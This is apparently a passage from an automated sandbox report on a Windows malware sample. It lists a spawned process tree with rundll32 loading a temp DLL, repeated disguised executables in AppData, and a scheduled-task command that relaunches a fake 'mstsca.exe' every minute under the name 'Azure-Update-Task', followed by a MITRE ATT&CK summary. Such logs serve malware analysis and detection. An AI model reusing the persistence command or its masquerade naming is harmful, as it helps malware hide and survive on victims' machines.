C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:9444
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:8304 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:6208
-
-
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe1⤵PID:4360
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6152
-
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe1⤵PID:4664
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe1⤵PID:4436
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵PID:8260
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"3⤵
- Creates scheduled task(s)
PID:9412
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:5080
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:6820
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8660
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:3084
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:10220
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8344
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exeC:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe /update /peruser /childprocess1⤵PID:9184
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.196.0921.0007\FileSyncConfig.exe"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.196.0921.0007\FileSyncConfig.exe"2⤵PID:8768
-
-
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe1⤵PID:9060
-
C:\Users\Admin\AppData\Roaming\eedjhfwC:\Users\Admin\AppData\Roaming\eedjhfw1⤵PID:9248
-
C:\Users\Admin\AppData\Roaming\eedjhfwC:\Users\Admin\AppData\Roaming\eedjhfw2⤵PID:8508
-
-
C:\Users\Admin\AppData\Roaming\fcdjhfwC:\Users\Admin\AppData\Roaming\fcdjhfw1⤵PID:9372
-
C:\Users\Admin\AppData\Roaming\aidjhfwC:\Users\Admin\AppData\Roaming\aidjhfw1⤵PID:9456
-
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe1⤵PID:6120
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe1⤵PID:9836
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵PID:10180
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:7252
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6528
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6880
-
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe1⤵PID:7248
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe1⤵PID:7632
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵PID:9160
-
-
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe1⤵PID:9348
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6268
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:9408
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:9844
-
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe1⤵PID:9968
-
C:\Users\Admin\AppData\Local\e1385b57-9353-424f-b646-b905838e3d41\EE1.exeC:\Users\Admin\AppData\Local\e1385b57-9353-424f-b646-b905838e3d41\EE1.exe --Task1⤵PID:1908
-
C:\Users\Admin\AppData\Local\e1385b57-9353-424f-b646-b905838e3d41\EE1.exeC:\Users\Admin\AppData\Local\e1385b57-9353-424f-b646-b905838e3d41\EE1.exe --Task2⤵PID:680
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe1⤵PID:9356
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵PID:7940
-
-
C:\Users\Admin\AppData\Roaming\eedjhfwC:\Users\Admin\AppData\Roaming\eedjhfw1⤵PID:6348
-
C:\Users\Admin\AppData\Roaming\eedjhfwC:\Users\Admin\AppData\Roaming\eedjhfw2⤵PID:9016
-
-
C:\Users\Admin\AppData\Roaming\fcdjhfwC:\Users\Admin\AppData\Roaming\fcdjhfw1⤵PID:9728
-
C:\Users\Admin\AppData\Roaming\aidjhfwC:\Users\Admin\AppData\Roaming\aidjhfw1⤵PID:4676
-
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe1⤵PID:1500
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:9496
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:9760
-
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe1⤵PID:8744
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe1⤵PID:7972
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵PID:6120
-
-
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe1⤵PID:8164
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8456
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:7720
-
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe1⤵PID:8856
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe1⤵PID:8692
-
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe1⤵PID:9840
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:2496
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6380
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:900
-
C:\Users\Admin\AppData\Roaming\aidjhfwC:\Users\Admin\AppData\Roaming\aidjhfw1⤵PID:10136
-
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe1⤵PID:5988
-
C:\Users\Admin\AppData\Roaming\fcdjhfwC:\Users\Admin\AppData\Roaming\fcdjhfw1⤵PID:5716
Network
MITRE ATT&CK Enterprise v6
Persistence
Modify Existing Service
1Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
Disabling Security Tools
1File and Directory Permissions Modification
1Install Root Certificate
1Modify Registry
3Virtualization/Sandbox Evasion
1Web Service
1